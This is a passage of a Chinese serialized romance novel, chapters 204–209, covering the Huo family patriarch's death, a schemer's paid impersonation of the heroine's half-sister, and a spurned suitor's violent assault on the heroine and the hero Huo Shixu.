起初,我对我们的婚姻其实是有过期望的,至少,我在你的身上,是存在着幻想的,或许我们能先婚后爱,或许我们能相濡以沫,
我的丈夫会是我的靠山,让我有足以依靠的决心,来抵挡外面的风雨。
显然,你是不合格的,不,不止是不合适,简直是差得太远了,
我后来也总结了,归根结底,就是一个原因,那就是不爱,爱可以冲锋陷阵,阵仗天涯,不爱……
我们之间没有爱情,只靠责任,这段婚姻随时都能崩塌。”
我实在不想,再在这糟糕的环境里呆下去了,我现在只想逃,逃得远远的,离你远远的,离你们陆家远远的,陆为谦,今生无缘,下辈子我也想饶开你……”
裴吟笑了。
眼角的那滴泪碎开,美得如绚烂的烟花。
第204章 霍家大丧
XY集团
江淮急匆匆地跑进来,“霍总,不好了!老爷子病危,人已经被接回了老宅,陈伯说……就靠一口气吊着了。”
霍正诚此前被送去了疗养院。
名义上是疗养,实则跟扔在那儿,自生自灭差不多。
霍时序原本计划等手头的事情稳定下,去探望,然后跟医生商量一下,下一步的治疗。
却没想到……
噩耗来得这么快。
霍时序脸色瞬间沉下,周身气息变得冷冽。
“走,去老宅。”
去往老宅的路上,车子打了个方向,接上了宋南伊和小核桃。
小核桃不知道发生了什么,就是觉得今天爸爸不太一样。
太严肃了,他太不敢跟他讲话。
乖巧地靠在妈妈怀里。
宋南伊看着霍时序紧绷的侧脸,意识到了什么。
“是不是出什么事了?”
霍时序没说话。
江淮便低声代为解释:“是老爷子病危了。”
宋南伊脸上掠过一丝惊讶。
无论霍老爷子过去待她如何,霍时序是跟在老爷子身边长起来的,他们感情深厚。
想到自己如今的身份,好像也没什么立场前去。
“我……我去合适吗?”她带着顾虑,“要不,你带小核桃去吧?我在附近等你们。”
霍时序转过头,目光深沉,“合适。”
老宅很热闹。
三十多年了,人还没这么齐过。
霍时达的两个私生子都到了。
一个叫顾南风,一个顾知意。
一男一女。
霍明达也算是在小三身上,实现儿女双全了。
蓝旗也在。
是陈伯亲自去接的。
宋南伊快走几步,来到她面前,“妈,您也过来了。”
“是啊,老爷子病危,非要让我过来,我就来了。”她将小核桃揽进怀里,“小核桃,今天爸爸要处理很多事情,就跟着奶奶好不好?”
“好。”小核桃很乖。
霍时序大步往厅里走。
霍明达抬手拦下了他,“你还是在外面等着吧,你爷爷他……现在不方便见人。”
“爷爷吊着一口气不咽,不就在等我吗?”霍时序推开了霍明达,还没走两步,顾南风又拦下了他,“霍时序,虽然你是嫡子长孙,但爷爷手里的东西,可是大家伙的,你可不能独吞啊。”
霍时序本就是憋着一肚子的火。
顾南风愣往枪口上撞。
霍时序抬腿就是一脚,直接把顾南风踢出了三米远。
“这个家,还轮得到你说话了?滚。”
顾南风一口没上来,差点**。
顾知意赶紧去扶起哥哥,“哥,你没事吧?”
“没事。”
霍时序走进老爷子的房间,将门重重地关上。
上次,他来见老爷子,霍正诚已经向他交代了一些事情。
陈伯又拿出一个小木盒,交给霍时序。
“这是老太爷在清醒的时候,做出的决定,所有的股权和家里所有的财产,都做了分配,他特意交代,这些东西,交给你,由你宣布。”
霍时序没接。
他紧紧地握着老太爷的手,眼眶通红,“爷爷,您放心,我答应您的事情,一定会做好的,霍氏我会重振旗鼓,对不起,让您操心了。”
不管他愿与不愿。
在霍正诚的心里,他才是霍家正统的继承人。
霍氏交给谁手里,也不放心。
霍正诚似乎听到了霍时序的话。
大口大口的喘息以后,人就走了。
陈伯哭得令人辛酸。
霍时序擦干了眼角的泪,将盒子打开,看了里面的东西。
东西很多。
安排也很多。
但他并没有打算,将这些东西公开。
“江淮。”他将盒子交给了江淮,“先把这个带回去,我处理爷爷的后事。”
“好的,霍总,我马上就回来。”
顾南风看霍时序从内厅走出来,忙上前问,“老爷子,怎么样了?他有没有什么安排,他手里的股权怎么分配了?”
霍时序抬手就给了他一个巴掌。
凶狠冷戾的,看着在场的所有人。
“你们一个个的……账,我慢慢算,这两天都给老实点,否则别怪我不客气。”
霍家大丧。
小核桃穿着孝服,跟在霍时序的身旁。
大人怎么做,他就怎么做。
吊唁,哭泣。
葬礼,墓地。
空旷得能听见心跳的回声。
三天三夜,终是入土为安。
宾客散尽,喧嚣褪去,世界被抽走了所有声音。
霍时序站在老爷子生前,最喜欢呆的书房窗前,已经是良久。
剪裁考究的黑色西装上,大大的孝字,像是无声的悲痛。
此时的霍时序,已经没了铺天盖地的悲痛。
空洞。
疲惫。
黑眸如墨却疲惫不堪。
指尖的烟燃着,几乎要烧到手指。
宋南伊抽走了烟卷,摁灭,递上了一杯热牛奶,“今天一天也没吃东西,喝
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点牛奶吧。”
牛奶的香气,混着书房里墨香,夜色吞没了最后一丝天光。
悲伤不显山不露水,却沉甸甸地。
霍时序将宋南伊抱进怀里。
脸深深的埋进她的颈窝。
……
霍家变天了。
霍时序先是把霍明达赶出了老宅。
偌大的老宅,只留下了陈伯一个人打理。
紧接着,他又将顾南风踢出了霍氏的董事局,而后全面接管已经被搞的一团糟的集团。
顾南风来霍氏闹过几次后,就被警察带走了。
但这些,与宋南伊没有关系。
她只知道,霍时序每天回来的很晚。
回来的时候,一身的凉气。
这晚,她特意等他回来,先是在客厅里看了会儿无脑综艺。
又刷了会儿网剧。
等着等着就睡着了。
直到她跌进温暖的臂弯里,她才睡眼惺忪的看向了他,“你回来了。”
“怎么不到床上去睡?着凉了怎么办?”
“吃饭了吗?”
男人笑笑,“没吃,一会儿吃你。”
宋南伊轻捶他的胸口,“能不能有点正经的,最近很忙吗?再忙也要注意身体。”
“关心我了?”他心口热热的,冰凉的指尖,轻轻的蹭着她的小脸,“我真的好喜欢你关心我的样子,会让我好有存在感,南伊,我期待你说爱我的那一天。”
宋南伊有点肉麻。
推开霍时序,往厨房里走,“我给你下碗面吃吧。”
“你吃了吗?”他撸起袖子,准备亲自动手,“女人的手哪是干这种活的,还是我来吧,你喜欢什么口味的?西红柿打卤面,还是葱油面?”
“我不挑,什么都好。”
“好。”
霍时序做饭的手艺,宋南伊还是认可的。
两种口味的他都做了。
让宋南伊先吃,反正她也吃不上,余下自己消灭。
还没吃几口。
宋南伊的手机响了起来。
看了一眼,是陆为谦打来的。
看到这个名字。
霍时序当场炸毛,伸手就将手机,抢了过去,“陆为谦不是结婚了吗?深更半夜的,给你打的什么电话?他想找揍是不是?”
现在接近凌晨。
确实不是正常的打电话时间。
兴许,他有事呢。
“把手机给我。”宋南伊说。
霍时序不给,直接摁了免提,扔到桌上。
“南伊,我是为谦。”
“陆律师,这晚了有事啊?”
第205章 发情就去**
“是,是有点事儿。”
陆为谦有一些醉意在。
掺上些许的难为情,声音有一种怪怪的感觉。
“他不是在发骚吧?”霍时序握起手机,对着陆为谦输出,“陆为谦,你有事跟我讲,要是发情就去**。”
“霍时序,你怎么在?”陆为谦声音更为混沌起来,“你肯定又强迫南伊,做不喜欢做的事情了吧?”
“是啊,我们上床还得征求你同意,是不是?陆为谦,你都结婚了,最起码,对自己的老婆负起责任来,别总想着我老婆。”
霍时序要挂电话。
被宋南伊将手机要了回去。
“陆律师,你有事你就说吧。”
陆为谦将骂霍时序的话,又咽了下去,尽量清晰地说,“见过裴吟了吗?”
“裴吟?”
上次见她,她说她要消失一段时间。
合着,这事陆为谦不知道?
那肯定是他伤了裴吟的心了。
“陆律师,裴吟自从嫁给你,心情一直就不好,或许她只是躲起来,想清静几天,你也别找她了,等她自愈完了,自然会出现的。”
手机那头的男人闷闷的嗯了一声。
“不好意思,这么晚了,打扰到你。”
“不会。”
手机挂断。
宋南伊给裴吟打了个电话,一样的无法接通。
“怎么了,没人接?”霍时序问。
宋南伊点头,“这个时间,可能睡了吧。”
围城之事,与人无法细说。
各有各的苦,各有各的难。
吃过饭后,霍时序收拾洗碗,宋南伊去洗了个澡,倒头就睡。
……
街边醉酒的男人。
身边散着几十个的易拉罐。
他一遍又一遍的给裴吟打着电话。
无一例外。
都是关机。
他便用微信给她留言,一条又一条地发。
石沉大海。
她说,不同意离婚,她就不会再跟他见面。
她说到做到。
怨他。
没有给她该有的安全感。
她说,想跟他先婚后爱,他何尝没这样想过,他甚至比她想的还要美好。
他没有拒绝过,陆之白那些匪夷所思的要求吗?
他不止一遍的拒绝,抗衡。
不止一次的与自己的父亲争吵。
他没有想过,要拿她的肾救父亲,从来没有想过。
他知道她累了。
其实……他也累了。
陆为谦又仰头往喉咙里灌了一口冰凉的酒,一醉方休。
……
宋南伊的YY珠宝,第一次大秀。
在江城举行。
霍时序是座上宾。
JO和MEI齐齐现身。
将活动推入高潮。
中间局开了把香槟,宋南伊的衣服染上一些脏,便去休息室里换。
霍时序推门进来,顺手将门反锁。
宋南伊刚脱下上衣,他的大手就缠了过来。
“你干嘛呀?我赶紧换了衣服,还要出去呢。”
他咬着她耳垂上的珍珠,呼吸变得粗重,“知道吗?你今天特别迷人,南伊,你真的好厉害,我怎么这么有福气,可以拥你这样有才华,又漂亮的女人。”
“今天嘴抹了蜜了?”她将珠宝耳环摘下,又换了一副流苏的耳坠子,“我还要谢谢霍总,过来捧场,有一部分客商,可是看你的面子。”
“那他们是大错特错。”
宋南伊笑,“好了,我要换衣服,你出去。”
“我帮你。”
他拿过那件裙子,动作很轻,细心妥帖地帮她穿好。
布料丝滑。
手感不错。
他绕到她身后,指尖捏住拉链,随着布料一寸寸收紧,勾勒出盈盈一握的腰身。
他眼底有渴望。
燥热。
他忍不住了。
轻轻握住她的下巴,与她接吻。
宋南伊的小手抵在他坚硬的胸膛上,没什么力道地轻捶了两下,“好了……没完没了还……”
唇齿交缠下,她的气息不稳。
他不想放她走。
外面的敲门声响起,“老板,需不需要帮忙?”
宋南伊抬手擦了擦霍时序唇角上的红色唇膏,忍着笑回,“不用,我马上就好。”
霍时序又要俯身吻她。
被她拒绝。
“还有正经事要做呢。”
她转身往外走。
扭动的腰肢,像行走的**,他感觉自己……有反应了。
他快走一步,握住她的腰,一起走了出去。
T台上的走秀还在继续。
霍时序的视线只落在宋南伊一个人的身上。
她现场指挥工作的样子,很迷人,他感觉自己稍稍有点配不上她。
有人抱着一大捧玫瑰花,走到了宋南伊的面前。
在跟宋南伊说话。
花上有一枚卡片,她拿起来看,短短几秒的时间,她便把花给了邓雪,转身走出了会场。
霍时序眉心蹙起
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谁送的?
不放心,他起身跟了出去。
任泽秦站在会场外面。
看到宋南伊出来,他微笑着迎了上去,“怎么出来了?我说了,让他不要说我在外面。”
“怎么不进去啊。”宋南伊出来的急,没穿外套。
一阵寒风吹过,她忍不住缩起了脖子。
任泽秦将自己带着体温的外套脱下,直接披在了她的肩上,“外面很冷的,别一会儿着凉了。”
“今天大秀有点忙。”
“没关系啊,你忙你的。”任泽秦脸上是淡而包容的神色,“我怕你会分心,就想着,等你结束了,再为你庆祝。”
“谢谢你啊泽秦,你实在是不必破费的。”
“一束花能破费到哪里去,赶紧回去吧,天太冷了。”他温和地催促着。
宋南伊点头,“那我忙完了,给你电话。”
“好。”
宋南伊刚走进会场,就被霍时序堵上了。
看到她肩上披的外套,一阵恼火。
“搞的自己好像没人疼似的。”他将任泽秦的外套拿下来,直接丢掉,“最温暖人的,还得是人的体温。”
他脱下外套,将宋南伊抱住。
衬衣和裙子的面料很薄,根本阻隔不下什么,感觉就像肌肤贴在一起,很快就热的发慌。
“霍时序,你这醋劲可够大的,你不是最不喜欢别人吃醋吗?你以前骂我妒妇,那你现在是什么?”
她抱着他的腰。
仰着小脸,质问更像撒娇。
他弯身用鼻尖蹭着她的鼻尖,“我不许,别人惦记我的东西。”
“我才不是你的东西。”
“你是我的,南伊,我不许别的男人觊觎你,可你太美了,美的太耀眼,我怎么也藏不住,所以……”他将薄唇递到她的耳边,轻轻欲欲的说,“……请你不要对别人动心,不要理那些臭男人,好不好?”
“老板……”邓雪突然跑了过来。
她眼里只有工作,没看到二人如此暧昧。
“对不起,我一会儿再过来。”
宋南伊尴尬的将霍时序推开,“邓雪,你跟我过来吧。”
二人找个了安静的地方,聊工作。
霍时序摸了摸后脑勺。
晚上回去,就好好研究一下求婚的事情。
“老板,有一个小姑娘,说要见你,她说是你妹妹,我没让她进来,您哪来的妹妹啊,我猜就是那种想混进场子,拍明星照片的人。”
第206章 他们看我,像看一条狗
宋南伊没放心里去。
她现在有更重要的事情。
那就是谢幕。
YY珠宝的大秀,完美落幕。
成绩骄人。
有不少的富豪太太,过来聊订制。
现在的YY珠宝可不比从前的价格,但这些阔太太们,愿意为品牌买单。
……
回家的车里。
宋南伊靠在霍时序的肩上,温软美丽。
他的心,热热的。
他喜欢这种依赖。
正当宋南伊准备小憩的时候,司机来了个急刹车。
要不霍时序及时抱住了宋南伊,她极有可能,撞上前排的座位。
“怎么开车的,不想干了?”霍时序骂。
司机也冤枉,“霍总,前面突然有个拦车的,我这才……”
车灯前。
一个二十岁左右的女孩。
瘦瘦的,简单的外套和牛仔裤,她张着手臂,一副视死如归的模样。
司机赶紧下车询问,“你怎么回事?不要命了?你这样突然冲出来,会被撞出去的?你哪来的?赶紧离开。”
女孩摇头。
死死地盯向车里。
随后用手指了过去,“我找宋南伊,她是我姐姐。”
司机茫然。
忙跑回车旁,汇报,“霍总,她说她是太太的妹妹。”
妹妹?
霍时序不解。
宋南伊更是。
女孩被带回了家。
她很拘谨地坐在二人对面,嘴唇干得起皮,偷偷舔了两下,眼神也有些偷感。
“你说你是我妹妹?”
女孩点头,“嗯。”
“那你父母叫什么?”宋南伊问。
女孩红着眼摇头。
“那怎么就是我的妹妹了?”宋南伊怀疑遇到碰瓷的了。
她拿出手机来,准备打报警电话,让警察帮她找家人。
号码还没摁完,女孩紧张慌乱的开口,“我爸是万同齐,我们有同一个爸爸,同,同一个。”
宋南伊指尖蓦地滞住。
她几乎把这个人都忘了。
“我,我也是他……不要的女儿,我生下来就没有母亲,我知道我是她女儿,是因为他的那个女儿要换肾,他把我捉了去……”
这么一说。
宋南伊似乎明白多了。
万同齐外面的风流债可真不少,这又冒出一个女儿。
“小妹妹,你找错人了,万同齐不是我的父亲,我有父母的,你如果想认亲的话,我不会认你的。”
宋南伊起身,已经准备要赶人。
女孩,直接扑到她面前,抱住了她的腿,“姐姐,你收留我吧,我会干活,我很能吃苦的。”
“我这又不是收容所。”
宋南伊不喜欢给自己找麻烦。
“姐姐,我出生便没有父母,我好不容易打听到你这个姐姐,你再不要我,我在这个世上真的就一个亲人都没有了。”
女孩哭了。
哭的令人动容。
宋南伊心里没多少感觉,“这与我没有任何关系,小姑娘,你绑架不了我的,我这个人天生的冷心肠。”
她累了。
现在只想睡一觉。
“你走吧,别再来打扰我了。”
突然找上门来的亲情。
不是要钱,就是要命,她可受不起。
女孩被赶走。
她疲惫的走进浴室,泡进浴缸里。
霍时序端了牛奶过来,温柔地替她捏着肩,“今天累坏了吧。不过YY珠宝首秀很成功,我要祝贺你。”
“谢谢喽。”
“那个女孩,什么来头?”他问。
宋南伊也不清楚,也没有兴趣知道,“可能是万同齐在外面的风流债吧,找到我,无非就是觉得我有钱,可以依靠,可惜啊,我不缺手足,我有星言一个弟弟就够了。”
“用不用我来处理?”
“不用了,她讨了没趣,自然就走了。”她抓着他的手,垫在自己的下巴上,“好累了,今晚我好好的睡个觉,你不可以吵我哦。”
“好。”他宠溺的吻了吻她的头发。
……
晚上宋南伊睡的很好。
清早精神饱满的去上班,一开门,昨天那个找上门来的女孩,还在。
她应该是一晚都在这门口呆着。
又冷又憔悴的,看起来挺可怜的。
“你怎么还没走?要我叫警察吗?”宋南伊有些烦了,“我希望我回来的时候,你已经离开,否则,我真的不会对你客气。”
宋南伊踩着高跟鞋,离开。
霍时序紧接着走了出来。
女孩怯生生地喊他,“姐夫。”
“你可别乱叫,我可不是你姐夫,赶紧走吧。”
既然宋南伊没打算认。
他还是少跟这个人接触。
看着霍时序走进电梯。
女孩狠狠的跺了跺脚,摸出手机,拨了出去,“我没见过这么铁石心肠的两口子,我昨天晚上,差一点冻死,他们看我,像看一条狗一样的,顾南风,这活我不干了。”
“就这么点小困难,就把你难住了?”顾南风的声音里,夹着吸烟的气息,“拿到霍时序的那个木盒,就可以得到二百万,你要是再厉害一点,上了霍时序,顺便再搞点劲爆的照片,视频什么的,那我可以再多给你二百万。”
“就他们这防备的样子,我……”
不想干。
又想要钱。
汤叶做不到,又舍不得放掉。
“汤叶,你要是不做,就再回那风月场所坐台,那些男的可比这两口子变态多了,你要当一辈子妓女?如果你想的话,算我没说。”
“我……”汤叶咬着嘴唇,“……那你帮我想想办法啊,他们说,晚上回来再看到我,就报警把我抓走,他们这种高档小区,要是离开,就真的进不来了。”
“什么都要我帮你,我自己去干得了。”顾南风在手机里啐了一口,“汤叶,你是做妓把脑子做坏了是不是?那些下三烂的手段,能用的都用上,还对付不了个人了?废物。”
汤叶被骂的没了脾气。
又要她装小可怜,又要搞阴谋诡计。
当人家是傻的吗?
“知道了,我自己想办法吧。”
……
宋南伊始终挂念着裴吟。
手机依然没有打通。
她就给他发了条信息,“那天,陆为谦给我打电话了,他说他找不到你,问我有没有见过你,你要不要……给他回个电话,或是回个信息什么的。”
裴吟依然没回。
宋南伊猜她是能看到的。
刚放下手机。
小区的物业就给宋南伊打来了电话,“宋小姐,你家亲戚要跳楼,你赶紧回来看看吧。”
亲戚?
跳楼?
难道……还是那女的?
宋南伊冷淡地说,“她不是我家亲戚,你们报警吧。”
“宋小姐,她说了,是你的妹妹,怎么能不是你家亲戚呢,你们姐妹两个是不是吵架了?姐妹之间有什么说不开的呢,这要闹出人命来,可就不好了。”
物业人员,心急火燎,生怕惹上麻烦似的,“宋小姐,你也要为小区其它业主着想一下,你赶紧先回一趟吧。”
第207章 看到有钱人就叫姐姐
宋南伊迫不得已,赶回小区。
汤叶正站在三十层的楼顶,摇摇欲坠。
这要掉下来,还不摔成一滩烂泥?
邓雪仰头看着,这个疯女人,“老板,她可真够狠的,风这么大,她就不怕一个不小心,香消玉殒?死的不要太难看。”
邓雪不是很理解这种。
她的命只能威胁得了父母,威胁别人?
可笑。
宋南伊眉心拧的很紧。
物业经理认为宋南伊是给自己找了麻烦。
又不敢直接发火,只能发牢骚,“宋小姐,自己的家务事,何必闹的死死活活的,赶紧的劝劝你妹妹吧,让她下来,这要死在咱们小区,小区可就不值钱了。”
宋南伊看了物业经理一眼。
这怎么还怪到她身上了?
“王经理,我说了,这人不是我妹妹,该报警报警,该叫消防叫消防,跟我有什么关系。”
宋南伊脸色难看。
说白了,她和这个汤叶任何关系都没有。
汤叶说是妹妹,物业这帮傻X信,她说她不是姐姐,这帮傻X不信。
智商呢?
“宋小姐,你这就不讲理了,再大的仇恨,也不至于拿命开玩笑吧?”物业经理看宋南伊的眼神有些怪,“我觉得,你还上楼去劝劝吧,搞出人命来,你也麻烦。”
宋南伊气闷。
邓雪小声劝她,“老板,要不,我们上去先看看情况?”
“走吧。”
楼顶的天台上。
寒风凛凛。
汤叶冻得瑟瑟发抖,唇齿打颤,看向宋南伊的眼睛中,含着未风干的泪珠,“姐姐。”
“你这个人怎么回事啊?看到有钱人就叫姐姐,人人都像你这样,我们老板,得认多少兄弟姐妹啊?”邓雪往前走了一步。
就要去拉汤叶。
她摇着头,楚楚可怜,“你真的是我姐姐,我没有骗人。”
“你先下来吧。”宋南伊说话。
汤叶倒也听话。
立马从天台边上,走了下来。
她也害怕。
但没办法,那可是二百万,很有可能变成四百万。
这值得她拿命去博一博。
擦了擦脸上的泪,“姐姐,我不需要大富大贵,我只要有口饭吃就行,我有力气,我可以干活,你别不要我。”
宋南伊感觉被讹上了。
她还没傻到,别人说什么,她就信什么。
“你别叫我姐姐,我也不是你姐姐,如果你实在是走投无路,我可以帮你找个工作,自食其力,但你记住,我跟你没有关系。”
汤叶大气不敢出。
巴巴的点头。
这个突然出现,来历不明的女人,令宋南伊蹊跷。
去找万同齐问个清楚?
她实在是不想见他。
宋南伊给霍时序打了个电话,“她寻死觅活的,对我的影响太大了,我很怀疑她的来头,你能不能帮忙调查一下?”
“我让江淮去查。”霍时序说,“先把她送回家吧,让路姐给她找点活干,如果她真的是万同齐的女儿,把她送过去便是,你不必忧心。”
“嗯。”
汤叶被送到了霍时序和宋南伊先前住过的家。
路姐带着她往里走,一边走,一边提醒,“现在家里只有老夫人一个人住,她喜静,没事的时候,不许乱走动。”
“还有,平时你就打打杂,家里有专门的厨师,做饭方面不需要你插手,你也别碍事。”
“一会儿,你放下东西,我带你先去打扫一下库房,先生说了,给你算一天两百。”
“记住,不许乱走动。家里监控多着呢。”
汤叶撇嘴,一天给两百,规矩还这么多。
她随便被包个夜,也能给到三百,瞧不起谁呢。
汤叶跟在路姐身后,好奇的打量着这个超级大的别墅。
可真漂亮,四五层高呢。
有花园,有喷泉,有园丁,活脱脱的就是电视里才有的画面。
汤叶从小生活在底层。
底层是什么样,她再清楚不过,但上层人生活是什么样的,她可没见过。
如果嫁进这样的人家,那她岂不是飞升了?
汤叶陷入了幻想当中。
她成为了这个家的女主人,她身边有无数的佣人在伺候着。
有人给她递水果,有人给她递咖啡。
她是那样的惬意悠闲,晒着太阳,有数不尽的金钱和财富……
“想什么呢?赶紧跟上。”路姐叫她。
汤叶收起白日梦,快步跟上,“来了。”
……
宋南伊下班时,一眼就看到了同时出现在楼下的两个男人。
任泽秦和霍时序。
她的脚步下意识顿住,迈出去的脚,收也不是,放也不是。
她有点头大。
尽管她没有答应霍时序复婚的请求,但相处不错,并且自然而然的,住在了一起。
面对任泽秦温和的目光,她莫名生出几分亏欠。
“泽秦。”她最终还是先走向任泽秦,唇角扬起,“今天怎么有空过来?”
“想请你吃个晚饭,不知道有没有这个荣幸?”任泽秦的声音一如既往地温和。
宋南伊点头,“好啊,正好我也饿了呢。”
“那上车吧。”
“好。”
站在一旁的霍时序脸色彻底沉了下来。
……当他不存在?
任泽秦绅士的打开车门,宋南伊弯身要坐进去时,霍时序忍不住发火了,“宋南伊,你什么意思?”
宋南伊没理人。
上车关门。
任泽秦看了霍时序一眼,轻蔑一笑,随即驱车离开。
霍时序站在原地,几乎要将后槽牙咬碎。
这女人到底想干什么?
车子平稳地行驶在江城大道上,任泽秦余光掠过宋南伊安静的侧脸,轻声开口:“霍总似乎很生气。”
“他就那样,脾气上来像个小孩子。”她语气平淡,听不出情绪。
“我以为……”任泽秦顿了顿,声音温和依旧,“……你不会答应我的邀请。”
“为什么这么想?”
“毕竟,最近,你和霍总最近走得很近。”
宋南伊轻轻笑笑,没有接话。
连旁人都能看出她和霍时序之间复燃的暧昧,她也没必要否认。
“他在很用力的追求我,也费了很多心思。”
任泽秦握着方向盘的手指微微收紧。
他从她的话中听出了未尽的意味,却不愿点破。
装潢精致的西餐厅。
两份牛排套餐。
任泽秦很体贴,将牛排切好,递到了宋南伊的面前,“今天这一餐,是为了祝贺你大秀成功。”
他随即从口袋里,拿出一个锦盒。
细细长长的,很容易就能猜出来,是一条项链。
“我知道,你是做珠宝的,不缺这种东西,但这是我的心意,我挑了许久,希望你不嫌弃。”
宋南伊拿起来,看了一眼。
很漂亮的项链,珍珠和宝石镶嵌在一起的,很别致,她很喜欢。
但她不能收。
“泽秦,抱歉,我不能收。”
“是不喜欢吗?”
宋南伊摇头,“挺喜欢的,但我不能收,泽秦,我想跟你说,我已经答应跟霍时序相处了,我不能再吊着你,你是个很好很优秀的男人,你值得更好的,我真的很抱歉。”
任泽秦笑了。
他其实从她接受自己的邀请,将霍时序晾在一边,就已经有了预感。
“我确实没有霍总有实力。”他自嘲。
第208章 抓着她的头发,逼她仰起脸来
宋南伊想他是误会了。
她从来不是,看谁有钱,有实力就跟谁的人。
她从小娇生惯养,没有缺过钱。
她的世界里的好与坏,也不是用金钱来衡量。
“泽秦,我和霍时序他……,原本是一些感情在的,这无关他有没有钱,也不是你不如他,是我只能选择其中一个,对不起。”
任泽秦唇角微凉。
眸底忧伤,“即便他什么也没有做,就站在那儿,我就输了对吗?”
“不是的,你对我的帮助,我一直记在心里,可我没法在情感上对你回馈,泽秦,如果你愿意的话,我可以介绍好的女孩给你认识,比如说邓雪,她很有能力……”
宋南伊不喜欢被人这样片面的理解。
她向来是知恩图报的人。
任泽作冷笑。
“为了自己脱身,往我身边硬塞上人了。”他将手中的刀叉,重重放下,碰出清脆的声音,“宋南伊,你当我是什么?”
任泽秦生气了。
好像是积蓄了许久的怨气。
宋南伊知道这气是冲自己来的。
也没想拱他的火。
声音越发的软了一些,“我不是往你身边硬塞人,邓雪人很好,我只是觉得你们合适而已,你不必生气,算我没说。”
“你已经说了,你把一个不起眼的下属介绍给我,你觉得我只配这种人是吗?”
任泽秦的样子,像是受到了侮辱。
宋南伊拧眉。
邓雪哪里差了。
在宋南伊的眼里,邓雪是她最得力的帮手,最优秀的下属,可以帮她处理一切突发问题,她的能力,足以配得上任何一个优秀的男人。
凭什么贬低她。
眼前的任泽秦像是变了个人。
宋南伊的话,也变得生冷了起来,“我觉得你说这样的话,才是对邓雪最大的侮辱,我现在倒是觉得,你配不上邓雪。”
任泽秦有失风度。
这饭,已然没有吃下去的必要了。
宋南伊起身离开,“抱歉,我还有事,先走了。”
宋南伊也就刚刚走出餐厅。
任泽秦就追上去,将她拦下了。
“对不起,我刚刚有点情绪,我不是对你,也不是对邓雪,我只是气我自己,你别误会。”
他诚意深重。
但歉意,差那么一点。
宋南伊也不是小孩,他的情绪来源于哪里,她很容易能猜到。
“任泽秦,我们不合适,就不要再尝试走下去了,你去寻找更好的伴侣吧,我先走了。”
宋南伊没接受,任泽秦所谓的道歉。
她现在只想打个车,赶紧回家。
还没有走到路边,任泽秦就又追了过来。
“对不起南伊,接受我的道歉吧,我……真的不是有意说那些,就是实在没有控制好自己的情绪。”
“我没怪你,你也没必要向我道歉。”
宋南伊转身,抬手招出租车。
任泽秦突然失控。
他紧紧的扣住宋南伊的肩膀,重重地发问,“你到底还要我怎样?宋南伊你年纪也不小了,能不能成熟一点?你现在想一脚踢开我,对吗宋南伊,你以为你是谁啊?拿我当猴耍着玩吗?”
“我什么时候耍你玩了?”宋南伊诧愕。
她反感,挣扎了一下,没挣开,“任泽秦,我没有答应你什么,是你自己说,你有追求我的权利,我强迫你什么了?你如此的情绪不稳定,谁敢跟你交朋友。”
“任泽秦,你放开我,你想在大街上做什么?你弄疼我了……”
路人纷纷。
大家就当小两口在吵架,并没有过多关注。
任泽秦抓着宋南伊的肩不放开。
明明温润如玉的男人,突然得了神经病一样的。
宋南伊自当他是中邪了,“任泽秦,你早点回去休息吧,我也累了,有什么事情,我们改天再谈好吗?”
任泽秦垂下脑袋,像是要控制自己一般的。
可他无法控制。
他要抱宋南伊,不管不顾地往怀里扯。
“宋南伊,我能看上你,是你的福气,你别忘了,你还有一个儿子,你这样的二婚女,在婚恋市场上,是被嫌弃的,你为什么还要对我挑三拣四?你不要这样,你就乖乖的跟我恋爱,我们结婚,好不好?”
宋南伊被撕扯的很疼。
她没有精力跟扯什么二婚带娃的问题。
“我不喜欢你,这样够直白了吧?任泽秦,你放开我,放开我……”
对于宋南伊的挣扎和拒绝。
任泽秦无然不顾。
他双眼猩红,抓着她的头发,逼她仰起脸来,暴力的要去吻她的唇。
宋南伊摇头,躲避。
“不要,任泽秦,你不要这样,不要……”
“砰。”
任泽秦被一股力,踢出了三米远。
力度很大,宋南伊的头发跟着扯了一下,疼的她头皮发麻。
“没事吧?”霍时序将宋南伊护在怀里,心疼的帮她揉了揉头皮,“别怕,我在。”
任泽秦捂着肚子,踉跄起身。
挥着拳头就冲霍时序打了过来。
还没近到跟前,就被狠狠踹了一脚,摔出八丈远。
啐道,“任泽秦,我让我老婆跟你出来吃饭,是给你面子,你还得寸进尺,给你脸了是不是?”
“霍时序,我早就看你不顺眼了,今天,不是你死,就是我亡。”
任泽秦疯了。
不管不顾的就要跟霍时序打架。
霍时序闪开他的拳头,夹住他的脖子,对着他的肚子就是一顿猛捶。
打的他是毫无招架之力。
“服气没有?”
“我不服,霍时序,凭什么你可以坐享其成?你配吗?你根本就不配,你就是个垃圾,垃圾中的垃圾,你有本事就打死我,要不然,我一定和你争到底。”
任泽秦放着狠话。
完全没有了绅士的模样。
更像一只被激怒的傻狍子,什么智商,什么风度,都没了。
打人的空余,霍时序问宋南伊,“你怎么把他惹成这样的?不会是跟他说,你爱的人是我吧?”
宋南伊翻白眼。
还真够自恋的。
“霍时序,还是不要打了,要不就报警吧。”
“我可没想跟他打架,是他想打。”霍时序将任泽秦推了出去,“好了,任泽秦,这大街上,人来人往的,你不要脸,我还得要脸呢,别再过来了,我们要回家了。”
霍时序揽着宋南伊的肩,带向自己的车。
任泽秦眼睁睁看着自己求而不得的人,就这样心甘情愿的被霍时序这个垃圾带走,输了脸面,又输了人。
岂肯甘心。
他抓起路边的石头,脸上的肌肉抽搐了两下……
“砰!”
沉闷重响。
霍时序的身体猛地一僵,揽着宋南伊的手臂骤然脱力。
涣散的瞳孔里,有后知后觉的惊愕,手下意识摸向后脑,指尖是温热粘稠的液体……
满目的猩红。
天旋地转,人就那样晃晃荡荡的倒了下去。
“霍时序……”宋南伊条件反射般的,想去扶住他。
“啊……杀人了!”有路人失声惊呼。
第209章 整死他,继承他的老婆孩子
原本熙攘的街道瞬间陷入死寂,旋即又像炸开的锅,人群从四面八方迅速围拢过来。
任泽秦,怔怔地看着自己沾着血迹的手,紧握着的石头,从掌中滚落一旁,仿佛意识到自己做了什么。
脸色惨白如纸,身体摇晃着,踉跄后退了两步。
仓皇地推开围观的人群,消失。
“霍时序!霍时序!你怎么样?你别吓我啊!”宋南伊跪在霍时序的身旁,将他的头,轻轻的搁在自己的大腿上。
她想捂住他头上的伤口。
可是怎么也捂不住。
眼泪汹涌而出,声音破碎,“求你…别死…救命啊!快叫救护车!救命——!”
霍时序被紧急送医。
宋南伊吓坏了,整个人都抖的不成样子。
裴啸是第一个来的。
看着宋南伊泪流满面的样子,将她拥进了怀里,“别怕别怕,会没事的。”
